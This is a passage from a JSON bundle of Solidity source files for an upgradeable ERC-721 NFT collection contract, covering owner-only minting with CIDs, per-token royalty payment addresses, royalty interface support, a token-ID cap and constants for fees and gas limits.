}\n }\n\n /\n @dev Returns an `BytesSlot` with member `value` located at `slot`.\n /\n function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /\n @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.\n /\n function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n}\n" }, "contracts/collectionTemplates/NFTCollection.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol\";\n\nimport \"../interfaces/internal/INFTCollectionInitializer.sol\";\n\nimport \"../libraries/AddressLibrary.sol\";\n\nimport \"../mixins/collections/CollectionRoyalties.sol\";\nimport \"../mixins/collections/NFTCollectionType.sol\";\nimport \"../mixins/collections/SequentialMintCollection.sol\";\nimport \"../mixins/collections/TokenLimitedCollection.sol\";\nimport \"../mixins/shared/ContractFactory.sol\";\n\nerror NFTCollection_Max_Token_Id_Has_Already_Been_Minted(uint256 maxTokenId);\nerror NFTCollection_Token_CID_Already_Minted();\nerror NFTCollection_Token_CID_Required();\nerror NFTCollection_Token_Creator_Payment_Address_Required();\n\n/\n @title A collection of 1:1 NFTs by a single creator.\n * @notice A 10% royalty to the creator is included which may be split with collaborators on a per-NFT basis.\n * @author batu-inal & HardlyDifficult\n /\ncontract NFTCollection is\n INFTCollectionInitializer,\n ContractFactory,\n Initializable,\n ERC165Upgradeable,\n ERC721Upgradeable,\n ERC721BurnableUpgradeable,\n NFTCollectionType,\n SequentialMintCollection,\n TokenLimitedCollection,\n CollectionRoyalties\n{\n using AddressLibrary for address;\n using AddressUpgradeable for address;\n\n /\n @notice The baseURI to use for the tokenURI, if undefined then `ipfs://` is used.\n /\n string private baseURI_;\n\n /\n @notice Stores hashes minted to prevent duplicates.\n * @dev 0 means not yet minted, set to 1 when minted.\n * For why using uint is better than using bool here:\n * github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.7.3/contracts/security/ReentrancyGuard.sol#L23-L27\n /\n mapping(string => uint256) private cidToMinted;\n\n /\n @dev Stores an optional alternate address to receive creator revenue and royalty payments.\n * The target address may be a contract which could split or escrow payments.\n /\n mapping(uint256 => address payable) private tokenIdToCreatorPaymentAddress;\n\n /\n @dev Stores a CID for each NFT.\n /\n mapping(uint256 => string) private _tokenCIDs;\n\n /\n @notice Emitted when the owner changes the base URI to be used for NFTs in this collection.\n * @param baseURI The new base URI to use.\n /\n event BaseURIUpdated(string baseURI);\n\n /\n @notice Emitted when a new NFT is minted.\n * @param creator The address of the collection owner at this time this NFT was minted.\n * @param tokenId The tokenId of the newly minted NFT.\n * @param indexedTokenCID The CID of the newly minted NFT, indexed to enable watching for mint events by the tokenCID.\n * @param tokenCID The actual CID of the newly minted NFT.\n /\n event Minted(address indexed creator, uint256 indexed tokenId, string indexed indexedTokenCID, string tokenCID);\n\n /\n @notice Emitted when the payment address for creator royalties is set.\n * @param fromPaymentAddress The original address used for royalty payments.\n * @param toPaymentAddress The new address used for royalty payments.\n * @param tokenId The NFT which had the royalty payment address updated.\n /\n event TokenCreatorPaymentAddressSet(\n address indexed fromPaymentAddress,\n address indexed toPaymentAddress,\n uint256 indexed tokenId\n );\n\n /\n @notice Initialize the template's immutable variables.\n * @param _contractFactory The factory which will be used to create collection contracts.\n /\n constructor(address _contractFactory) ContractFactory(_contractFactory) NFTCollectionType(NFT_COLLECTION_TYPE) {\n // The template will be initialized by the factory when it's registered for use.\n }\n\n /\n @notice Called by the contract factory on creation.\n * @param _creator The creator of this collection.\n * @param _name The collection's `name`.\n * @param _symbol The collection's `symbol`.\n /\n function initialize(\n address payable _creator,\n string calldata _name,\n string calldata _symbol\n ) external initializer onlyContractFactory {\n __ERC721_init(_name, _symbol);\n _initializeSequentialMintCollection(_creator);\n // maxTokenId defaults to 0 but may be assigned later on.\n }\n\n /\n @notice Mint an NFT defined by its metadata path.\n * @dev This is only callable by the collection creator/owner.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @return tokenId The tokenId of the newly minted NFT.\n /\n function mint(string calldata tokenCID) external returns (uint256 tokenId) {\n tokenId = _mint(tokenCID);\n }\n\n /\n @notice Mint an NFT defined by its metadata path and approves the provided operator address.\n * @dev This is only callable by the collection creator/owner.\n * It can be used the first time they mint to save having to issue a separate approval\n * transaction before listing the NFT for sale.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param operator The address to set as an approved operator for the creator's account.\n * @return tokenId The tokenId of the newly minted NFT.\n /\n function mintAndApprove(string calldata tokenCID, address operator) external returns (uint256 tokenId) {\n tokenId = _mint(tokenCID);\n setApprovalForAll(operator, true);\n }\n\n /\n @notice Mint an NFT defined by its metadata path and have creator revenue/royalties sent to an alternate address.\n * @dev This is only callable by the collection creator/owner.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param tokenCreatorPaymentAddress The royalty recipient address to use for this NFT.\n * @return tokenId The tokenId of the newly minted NFT.\n /\n function mintWithCreatorPaymentAddress(\n string calldata tokenCID,\n address payable tokenCreatorPaymentAddress\n ) public returns (uint256 tokenId) {\n if (tokenCreatorPaymentAddress == address(0)) {\n revert NFTCollection_Token_Creator_Payment_Address_Required();\n }\n tokenId = _mint(tokenCID);\n tokenIdToCreatorPaymentAddress[tokenId] = tokenCreatorPaymentAddress;\n emit TokenCreatorPaymentAddressSet(address(0), tokenCreatorPaymentAddress, tokenId);\n }\n\n /\n @notice Mint an NFT defined by its metadata path and approves the provided operator address.\n * @dev This is only callable by the collection creator/owner.\n * It can be used the first time they mint to save having to issue a separate approval\n * transaction before listing the NFT for sale.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param tokenCreatorPaymentAddress The royalty recipient address to use for this NFT.\n * @param operator The address to set as an approved operator for the creator's account.\n * @return tokenId The tokenId of the newly minted NFT.\n /\n function mintWithCreatorPaymentAddressAndApprove(\n string calldata tokenCID,\n address payable tokenCreatorPaymentAddress,\n address operator\n ) external returns (uint256 tokenId) {\n tokenId = mintWithCreatorPaymentAddress(tokenCID, tokenCreatorPaymentAddress);\n setApprovalForAll(operator, true);\n }\n\n /\n @notice Mint an NFT defined by its metadata path and have creator revenue/royalties sent to an alternate address\n * which is defined by a contract call, typically a proxy contract address representing the payment terms.\n * @dev This is only callable by the collection creator/owner.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param paymentAddressFactory The contract to call which will return the address to use for payments.\n * @param paymentAddressCall The call details to send to the factory provided.\n * @return tokenId The tokenId of the newly minted NFT.\n /\n function mintWithCreatorPaymentFactory(\n string calldata tokenCID,\n address paymentAddressFactory,\n bytes calldata paymentAddressCall\n ) public returns (uint256 tokenId) {\n address payable tokenCreatorPaymentAddress = paymentAddressFactory.callAndReturnContractAddress(paymentAddressCall);\n tokenId = mintWithCreatorPaymentAddress(tokenCID, tokenCreatorPaymentAddress);\n }\n\n /\n @notice Mint an NFT defined by its metadata path and have creator revenue/royalties sent to an alternate address\n * which is defined by a contract call, typically a proxy contract address representing the payment terms.\n * @dev This is only callable by the collection creator/owner.\n * It can be used the first time they mint to save having to issue a separate approval\n * transaction before listing the NFT for sale.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param paymentAddressFactory The contract to call which will return the address to use for payments.\n * @param paymentAddressCall The call details to send to the factory provided.\n * @param operator The address to set as an approved operator for the creator's account.\n * @return tokenId The tokenId of the newly minted NFT.\n /\n function mintWithCreatorPaymentFactoryAndApprove(\n string calldata tokenCID,\n address paymentAddressFactory,\n bytes calldata paymentAddressCall,\n address operator\n ) external returns (uint256 tokenId) {\n tokenId = mintWithCreatorPaymentFactory(tokenCID, paymentAddressFactory, paymentAddressCall);\n setApprovalForAll(operator, true);\n }\n\n /\n @notice Allows the collection creator to destroy this contract only if\n * no NFTs have been minted yet or the minted NFTs have been burned.\n * @dev Once destructed, a new collection could be deployed to this address (although that's discouraged).\n /\n function selfDestruct() external onlyOwner {\n _selfDestruct();\n }\n\n /\n @notice Allows the owner to assign a baseURI to use for the tokenURI instead of the default `ipfs://`.\n * @param baseURIOverride The new base URI to use for all NFTs in this collection.\n /\n function updateBaseURI(string calldata baseURIOverride) external onlyOwner {\n baseURI_ = baseURIOverride;\n\n emit BaseURIUpdated(baseURIOverride);\n }\n\n /\n @notice Allows the owner to set a max tokenID.\n * This provides a guarantee to collectors about the limit of this collection contract, if applicable.\n * @dev Once this value has been set, it may be decreased but can never be increased.\n * This max may be more than the final `totalSupply` if 1 or more tokens were burned.\n * @param _maxTokenId The max tokenId to set, all NFTs must have a tokenId less than or equal to this value.\n /\n function updateMaxTokenId(uint32 _maxTokenId) external onlyOwner {\n _updateMaxTokenId(_maxTokenId);\n }\n\n /\n @inheritdoc ERC721Upgradeable\n * @dev The function here asserts `onlyOwner` while the super confirms ownership.\n /\n function _burn(uint256 tokenId) internal override(ERC721Upgradeable, SequentialMintCollection) onlyOwner {\n delete cidToMinted[_tokenCIDs[tokenId]];\n delete tokenIdToCreatorPaymentAddress[tokenId];\n delete _tokenCIDs[tokenId];\n super._burn(tokenId);\n }\n\n function _mint(string calldata tokenCID) private onlyOwner returns (uint256 tokenId) {\n if (bytes(tokenCID).length == 0) {\n revert NFTCollection_Token_CID_Required();\n }\n if (cidToMinted[tokenCID] != 0) {\n revert NFTCollection_Token_CID_Already_Minted();\n }\n // If the mint will exceed uint32, the addition here will overflow. But it's not realistic to mint that many tokens.\n tokenId = ++latestTokenId;\n if (maxTokenId != 0 && tokenId > maxTokenId) {\n revert NFTCollection_Max_Token_Id_Has_Already_Been_Minted(maxTokenId);\n }\n cidToMinted[tokenCID] = 1;\n _tokenCIDs[tokenId] = tokenCID;\n _safeMint(msg.sender, tokenId);\n emit Minted(msg.sender, tokenId, tokenCID, tokenCID);\n }\n\n /\n @notice The base URI used for all NFTs in this collection.\n * @dev The `tokenCID` is appended to this to obtain an NFT's `tokenURI`.\n * e.g. The URI for a token with the `tokenCID`: \"foo\" and `baseURI`: \"ipfs://\" is \"ipfs://foo\".\n * @return uri The base URI used by this collection.\n /\n function baseURI() external view returns (string memory uri) {\n uri = _baseURI();\n }\n\n /\n @notice Checks if the creator has already minted a given NFT using this collection contract.\n * @param tokenCID The CID to check for.\n * @return hasBeenMinted True if the creator has already minted an NFT with this CID.\n /\n function getHasMintedCID(string calldata tokenCID) external view returns (bool hasBeenMinted) {\n hasBeenMinted = cidToMinted[tokenCID] != 0;\n }\n\n /\n @inheritdoc CollectionRoyalties\n /\n function getTokenCreatorPaymentAddress(\n uint256 tokenId\n ) public view override returns (address payable creatorPaymentAddress) {\n creatorPaymentAddress = tokenIdToCreatorPaymentAddress[tokenId];\n if (creatorPaymentAddress == address(0)) {\n creatorPaymentAddress = owner;\n }\n }\n\n /\n @inheritdoc IERC165Upgradeable\n /\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n override(ERC165Upgradeable, ERC721Upgradeable, NFTCollectionType, CollectionRoyalties)\n returns (bool interfaceSupported)\n {\n interfaceSupported = super.supportsInterface(interfaceId);\n }\n\n /\n @inheritdoc IERC721MetadataUpgradeable\n /\n function tokenURI(uint256 tokenId) public view override returns (string memory uri) {\n _requireMinted(tokenId);\n\n uri = string.concat(_baseURI(), _tokenCIDs[tokenId]);\n }\n\n function _baseURI() internal view override returns (string memory uri) {\n uri = baseURI_;\n if (bytes(uri).length == 0) {\n uri = \"ipfs://\";\n }\n }\n}\n" }, "contracts/interfaces/internal/INFTCollectionInitializer.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/\n @title Declares the interface for initializing an NFTCollection contract.\n * @author batu-inal & HardlyDifficult\n /\ninterface INFTCollectionInitializer {\n function initialize(address payable _creator, string memory _name, string memory _symbol) external;\n}\n" }, "contracts/interfaces/internal/INFTCollectionType.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/\n @title Declares the type of the collection contract.\n * @dev This interface is declared as an ERC-165 interface.\n * @author reggieag\n /\ninterface INFTCollectionType {\n function getNFTCollectionType() external view returns (string memory collectionType);\n}\n" }, "contracts/interfaces/standards/royalties/IGetFees.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/\n @notice An interface for communicating fees to 3rd party marketplaces.\n * @dev Originally implemented in mainnet contract 0x44d6e8933f8271abcf253c72f9ed7e0e4c0323b3\n /\ninterface IGetFees {\n /\n @notice Get the recipient addresses to which creator royalties should be sent.\n * @dev The expected royalty amounts are communicated with `getFeeBps`.\n * @param tokenId The ID of the NFT to get royalties for.\n * @return recipients An array of addresses to which royalties should be sent.\n /\n function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory recipients);\n\n /\n @notice Get the creator royalty amounts to be sent to each recipient, in basis points.\n * @dev The expected recipients are communicated with `getFeeRecipients`.\n * @param tokenId The ID of the NFT to get royalties for.\n * @return royaltiesInBasisPoints The array of fees to be sent to each recipient, in basis points.\n /\n function getFeeBps(uint256 tokenId) external view returns (uint256[] memory royaltiesInBasisPoints);\n}\n" }, "contracts/interfaces/standards/royalties/IGetRoyalties.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\ninterface IGetRoyalties {\n /\n @notice Get the creator royalties to be sent.\n * @dev The data is the same as when calling `getFeeRecipients` and `getFeeBps` separately.\n * @param tokenId The ID of the NFT to get royalties for.\n * @return recipients An array of addresses to which royalties should be sent.\n * @return royaltiesInBasisPoints The array of fees to be sent to each recipient, in basis points.\n /\n function getRoyalties(\n uint256 tokenId\n ) external view returns (address payable[] memory recipients, uint256[] memory royaltiesInBasisPoints);\n}\n" }, "contracts/interfaces/standards/royalties/IRoyaltyInfo.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/\n @notice Interface for EIP-2981: NFT Royalty Standard.\n * For more see: https://eips.ethereum.org/EIPS/eip-2981.\n /\ninterface IRoyaltyInfo {\n /\n @notice Get the creator royalties to be sent.\n * @param tokenId The ID of the NFT to get royalties for.\n * @param salePrice The total price of the sale.\n * @return receiver The address to which royalties should be sent.\n * @return royaltyAmount The total amount that should be sent to the `receiver`.\n /\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) external view returns (address receiver, uint256 royaltyAmount);\n}\n" }, "contracts/interfaces/standards/royalties/ITokenCreator.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\ninterface ITokenCreator {\n /\n @notice Returns the creator of this NFT collection.\n * @param tokenId The ID of the NFT to get the creator payment address for.\n * @return creator The creator of this collection.\n /\n function tokenCreator(uint256 tokenId) external view returns (address payable creator);\n}\n" }, "contracts/libraries/AddressLibrary.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol\";\n\nstruct CallWithoutValue {\n address target;\n bytes callData;\n}\n\nerror AddressLibrary_Proxy_Call_Did_Not_Return_A_Contract(address addressReturned);\n\n/\n @title A library for address helpers not already covered by the OZ library.\n * @author batu-inal & HardlyDifficult\n /\nlibrary AddressLibrary {\n using AddressUpgradeable for address;\n using AddressUpgradeable for address payable;\n\n /\n @notice Calls an external contract with arbitrary data and parse the return value into an address.\n * @param externalContract The address of the contract to call.\n * @param callData The data to send to the contract.\n * @return contractAddress The address of the contract returned by the call.\n /\n function callAndReturnContractAddress(\n address externalContract,\n bytes calldata callData\n ) internal returns (address payable contractAddress) {\n bytes memory returnData = externalContract.functionCall(callData);\n contractAddress = abi.decode(returnData, (address));\n if (!contractAddress.isContract()) {\n revert AddressLibrary_Proxy_Call_Did_Not_Return_A_Contract(contractAddress);\n }\n }\n\n function callAndReturnContractAddress(\n CallWithoutValue calldata call\n ) internal returns (address payable contractAddress) {\n contractAddress = callAndReturnContractAddress(call.target, call.callData);\n }\n}\n" }, "contracts/mixins/collections/CollectionRoyalties.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol\";\n\nimport \"../../interfaces/standards/royalties/IGetFees.sol\";\nimport \"../../interfaces/standards/royalties/IGetRoyalties.sol\";\nimport \"../../interfaces/standards/royalties/IRoyaltyInfo.sol\";\nimport \"../../interfaces/standards/royalties/ITokenCreator.sol\";\n\nimport \"../shared/Constants.sol\";\n\n/\n @title Defines various royalty APIs for broad marketplace support.\n * @author batu-inal & HardlyDifficult\n /\nabstract contract CollectionRoyalties is IGetRoyalties, IGetFees, IRoyaltyInfo, ITokenCreator, ERC165Upgradeable {\n /\n @inheritdoc IGetFees\n /\n function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory recipients) {\n recipients = new address payable[](1);\n recipients[0] = getTokenCreatorPaymentAddress(tokenId);\n }\n\n /\n @inheritdoc IGetFees\n * @dev The tokenId param is ignored since all NFTs return the same value.\n /\n function getFeeBps(uint256 / tokenId /) external pure returns (uint256[] memory royaltiesInBasisPoints) {\n royaltiesInBasisPoints = new uint256[](1);\n royaltiesInBasisPoints[0] = ROYALTY_IN_BASIS_POINTS;\n }\n\n /\n @inheritdoc IGetRoyalties\n /\n function getRoyalties(\n uint256 tokenId\n ) external view returns (address payable[] memory recipients, uint256[] memory royaltiesInBasisPoints) {\n recipients = new address payable[](1);\n recipients[0] = getTokenCreatorPaymentAddress(tokenId);\n royaltiesInBasisPoints = new uint256[](1);\n royaltiesInBasisPoints[0] = ROYALTY_IN_BASIS_POINTS;\n }\n\n /\n @notice The address to pay the creator proceeds/royalties for the collection.\n * @param tokenId The ID of the NFT to get the creator payment address for.\n * @return creatorPaymentAddress The address to which royalties should be paid.\n /\n function getTokenCreatorPaymentAddress(\n uint256 tokenId\n ) public view virtual returns (address payable creatorPaymentAddress);\n\n /\n @inheritdoc IRoyaltyInfo\n /\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = getTokenCreatorPaymentAddress(tokenId);\n unchecked {\n royaltyAmount = salePrice / ROYALTY_RATIO;\n }\n }\n\n /\n @inheritdoc IERC165Upgradeable\n * @dev Checks the supported royalty interfaces.\n /\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool interfaceSupported) {\n interfaceSupported = (interfaceId == type(IRoyaltyInfo).interfaceId \|\|\n interfaceId == type(ITokenCreator).interfaceId \|\|\n interfaceId == type(IGetRoyalties).interfaceId \|\|\n interfaceId == type(IGetFees).interfaceId \|\|\n super.supportsInterface(interfaceId));\n }\n}\n" }, "contracts/mixins/collections/NFTCollectionType.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol\";\nimport \"@openzeppelin/contracts/utils/ShortStrings.sol\";\n\nimport \"../../interfaces/internal/INFTCollectionType.sol\";\n\n/\n @title A mixin to add the NFTCollectionType interface to a contract.\n * @author HardlyDifficult & reggieag\n /\nabstract contract NFTCollectionType is INFTCollectionType, ERC165Upgradeable {\n using ShortStrings for string;\n using ShortStrings for ShortString;\n\n ShortString private immutable _collectionTypeName;\n\n constructor(string memory collectionTypeName) {\n _collectionTypeName = collectionTypeName.toShortString();\n }\n\n /\n @notice Returns a name of the type of collection this contract represents.\n * @return collectionType The collection type.\n /\n function getNFTCollectionType() external view returns (string memory collectionType) {\n collectionType = _collectionTypeName.toString();\n }\n\n /\n @inheritdoc IERC165Upgradeable\n /\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool interfaceSupported) {\n interfaceSupported = interfaceId == type(INFTCollectionType).interfaceId \|\| super.supportsInterface(interfaceId);\n }\n}\n" }, "contracts/mixins/collections/SequentialMintCollection.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol\";\n\nimport \"../../interfaces/standards/royalties/ITokenCreator.sol\";\n\nerror SequentialMintCollection_Caller_Is_Not_Owner(address owner);\nerror SequentialMintCollection_Minted_NFTs_Must_Be_Burned_First(uint256 totalSupply);\n\n/\n @title Extends the OZ ERC721 implementation for collections which mint sequential token IDs.\n * @author batu-inal & HardlyDifficult\n /\nabstract contract SequentialMintCollection is ITokenCreator, ERC721BurnableUpgradeable {\n /*** Slot 0 (after inheritance) **/\n /\n * @notice The creator/owner of this NFT collection.\n * @dev This is the default royalty recipient if a different `paymentAddress` was not provided.\n * @return The collection's creator/owner address.\n /\n address payable public owner;\n\n /\n @notice The tokenId of the most recently created NFT.\n * @dev Minting starts at tokenId 1. Each mint will use this value + 1.\n * @return The most recently minted tokenId, or 0 if no NFTs have been minted yet.\n /\n uint32 public latestTokenId;\n\n /\n @notice Tracks how many tokens have been burned.\n * @dev This number is used to calculate the total supply efficiently.\n /\n uint32 private burnCounter;\n\n // 32-bits free space\n\n /*** End of storage **/\n\n /\n * @notice Emitted when this collection is self destructed by the creator/owner/admin.\n * @param admin The account which requested this contract be self destructed.\n /\n event SelfDestruct(address indexed admin);\n\n modifier onlyOwner() {\n if (msg.sender != owner) {\n revert SequentialMintCollection_Caller_Is_Not_Owner(owner);\n }\n _;\n }\n\n function _initializeSequentialMintCollection(address payable _creator) internal {\n owner = _creator;\n }\n\n /\n @notice Allows the collection owner to destroy this contract only if\n * no NFTs have been minted yet or the minted NFTs have been burned.\n /\n function _selfDestruct() internal {\n if (totalSupply() != 0) {\n revert SequentialMintCollection_Minted_NFTs_Must_Be_Burned_First(totalSupply());\n }\n\n emit SelfDestruct(msg.sender);\n selfdestruct(payable(msg.sender));\n }\n\n function _burn(uint256 tokenId) internal virtual override {\n unchecked {\n // Number of burned tokens cannot exceed latestTokenId which is the same size.\n ++burnCounter;\n }\n super._burn(tokenId);\n }\n\n /\n @inheritdoc ITokenCreator\n * @dev The tokenId param is ignored since all NFTs return the same value.\n /\n function tokenCreator(uint256 / tokenId /) external view returns (address payable creator) {\n creator = owner;\n }\n\n /\n @notice Returns the total amount of tokens stored by the contract.\n * @dev From the ERC-721 enumerable standard.\n * @return supply The total number of NFTs tracked by this contract.\n /\n function totalSupply() public view returns (uint256 supply) {\n unchecked {\n // Number of tokens minted is always >= burned tokens.\n supply = latestTokenId - burnCounter;\n }\n }\n}\n" }, "contracts/mixins/collections/TokenLimitedCollection.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"./SequentialMintCollection.sol\";\n\nerror TokenLimitedCollection_Max_Token_Id_May_Not_Be_Cleared(uint256 currentMaxTokenId);\nerror TokenLimitedCollection_Max_Token_Id_May_Not_Increase(uint256 currentMaxTokenId);\nerror TokenLimitedCollection_Max_Token_Id_Must_Be_Greater_Than_Current_Minted_Count(uint256 currentMintedCount);\nerror TokenLimitedCollection_Max_Token_Id_Must_Not_Be_Zero();\n\n/\n @title Defines an upper limit on the number of tokens which may be minted by this collection.\n * @author HardlyDifficult\n /\nabstract contract TokenLimitedCollection is SequentialMintCollection {\n /\n @notice The max tokenId which can be minted.\n * @dev This max may be less than the final `totalSupply` if 1 or more tokens were burned.\n * @return The max tokenId which can be minted.\n /\n uint32 public maxTokenId;\n\n /\n @notice Emitted when the max tokenId supported by this collection is updated.\n * @param maxTokenId The new max tokenId. All NFTs in this collection will have a tokenId less than\n * or equal to this value.\n /\n event MaxTokenIdUpdated(uint256 indexed maxTokenId);\n\n function _initializeTokenLimitedCollection(uint32 _maxTokenId) internal {\n if (_maxTokenId == 0) {\n // When 0 is desired, the collection may choose to simply not call this initializer.\n revert TokenLimitedCollection_Max_Token_Id_Must_Not_Be_Zero();\n }\n\n maxTokenId = _maxTokenId;\n }\n\n /\n @notice Allows the owner to set a max tokenID.\n * This provides a guarantee to collectors about the limit of this collection contract, if applicable.\n * @dev Once this value has been set, it may be decreased but can never be increased.\n * @param _maxTokenId The max tokenId to set, all NFTs must have a tokenId less than or equal to this value.\n /\n function _updateMaxTokenId(uint32 _maxTokenId) internal {\n if (_maxTokenId == 0) {\n revert TokenLimitedCollection_Max_Token_Id_May_Not_Be_Cleared(maxTokenId);\n }\n if (maxTokenId != 0 && _maxTokenId >= maxTokenId) {\n revert TokenLimitedCollection_Max_Token_Id_May_Not_Increase(maxTokenId);\n }\n if (latestTokenId > _maxTokenId) {\n revert TokenLimitedCollection_Max_Token_Id_Must_Be_Greater_Than_Current_Minted_Count(latestTokenId);\n }\n\n maxTokenId = _maxTokenId;\n emit MaxTokenIdUpdated(_maxTokenId);\n }\n}\n" }, "contracts/mixins/shared/Constants.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/// Constant values shared across mixins.\n\n/\n @dev 100% in basis points.\n /\nuint256 constant BASIS_POINTS = 10_000;\n\n/\n @dev The default admin role defined by OZ ACL modules.\n /\nbytes32 constant DEFAULT_ADMIN_ROLE = 0x00;\n\n////////////////////////////////////////////////////////////////\n// Royalties & Take Rates\n////////////////////////////////////////////////////////////////\n\n/\n @dev The max take rate an exhibition can have.\n /\nuint256 constant MAX_EXHIBITION_TAKE_RATE = 5_000;\n\n/\n @dev Cap the number of royalty recipients.\n * A cap is required to ensure gas costs are not too high when a sale is settled.\n /\nuint256 constant MAX_ROYALTY_RECIPIENTS = 5;\n\n/\n @dev Default royalty cut paid out on secondary sales.\n * Set to 10% of the secondary sale.\n /\nuint96 constant ROYALTY_IN_BASIS_POINTS = 1_000;\n\n/\n @dev Reward paid to referrers when a sale is made.\n * Set to 1% of the sale amount. This 1% is deducted from the protocol fee.\n /\nuint96 constant BUY_REFERRER_IN_BASIS_POINTS = 100;\n\n/\n @dev 10%, expressed as a denominator for more efficient calculations.\n /\nuint256 constant ROYALTY_RATIO = BASIS_POINTS / ROYALTY_IN_BASIS_POINTS;\n\n/\n @dev 1%, expressed as a denominator for more efficient calculations.\n /\nuint256 constant BUY_REFERRER_RATIO = BASIS_POINTS / BUY_REFERRER_IN_BASIS_POINTS;\n\n////////////////////////////////////////////////////////////////\n// Gas Limits\n////////////////////////////////////////////////////////////////\n\n/\n @dev The gas limit used when making external read-only calls.\n * This helps to ensure that external calls does not prevent the market from executing.\n /\nuint256 constant READ_ONLY_GAS_LIMIT = 40_000;\n\n/\n @dev The gas limit to send ETH to multiple recipients, enough for a 5-way split.\n /\nuint256 constant SEND_VALUE_GAS_LIMIT_MULTIPLE_RECIPIENTS = 210_000;\n\n/\n @dev The gas limit to send ETH to a single recipient, enough for a contract with a simple receiver.\n /\nuint256 constant SEND_VALUE_GAS_LIMIT_SINGLE_RECIPIENT = 20_000;\n\n////////////////////////////////////////////////////////////////\n// Collection Type Names\n////////////////////////////////////////////////////////////////\n\n/\n @dev The NFT collection type.\n /\nstring constant NFT_COLLECTION_TYPE = \"NFT Collection\";\n\n/\n @dev The NFT drop collection type.\n /\nstring constant NFT_DROP_COLLECTION_TYPE = \"NFT Drop Collection\";\n\n/\n @dev The NFT timed edition collection type.\n /\nstring constant NFT_TIMED_EDITION_COLLECTION_TYPE = \"NFT Timed Edition Collection\";\n\n/\n @dev The NFT limited edition collection type.\n /\nstring constant NFT_LIMITED_EDITION_COLLECTION_TYPE = \"NFT Limited Edition Collection\";\n\n////////////////////////////////////////////////////////////////\n// Business Logic\n////////////////////////////////////////////////////////////////\n\n/\n @dev Limits scheduled start/end times to be less than 2 years in the future.\n /\nuint256 constant MAX_SCHEDULED_TIME_IN_THE_FUTURE = 365 days 2;\n\n/*\n @dev The minimum increase of 10% required when making an offer or placing a bid.\n /\nuint256 constant MIN_PERCENT_INCREMENT_DENOMINATOR = BASIS_POINTS / 1_000;\n\n/\n @dev Protocol fee for edition mints in basis points.\n /\nuint256 constant EDITION_PROTOCOL_FEE_IN_BASIS_POINTS = 500;\n\n/\n @dev Hash of the edition type names.\n * This is precalculated in order to save gas on use.\n * `keccak256(abi.encodePacked(NFT_TIMED_EDITION_COLLECTION_TYPE))`\n /\nbytes32 constant timedEditionTypeHash = 0xee2afa3f960e108aca17013728aafa363a0f4485661d9b6f41c6b4ddb55008ee;\n\nbytes32 constant limitedEditionTypeHash = 0x7df1f68d01ab1a6ee0448a4c3fbda832177331ff72c471b12b0051c96742eef5;\n" }, "contracts/mixins/shared/ContractFactory.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol\";\n\nerror ContractFactory_Only_Callable_By_Factory_Contract(address contractFactory);\nerror ContractFactory_Factory_Is_Not_A_Contract();\n\n/\n @title Stores a reference to the factory which is used to create contract proxies.\n * @author batu-inal & HardlyDifficult\n /\nabstract contract ContractFactory {\n using AddressUpgradeable for address;\n\n /\n @notice The address of the factory which was used to create this contract.\n * @return The factory contract address.\n /\n address public immutable contractFactory;\n\n modifier onlyContractFactory() {\n if (msg.sender != contractFactory) {\n revert 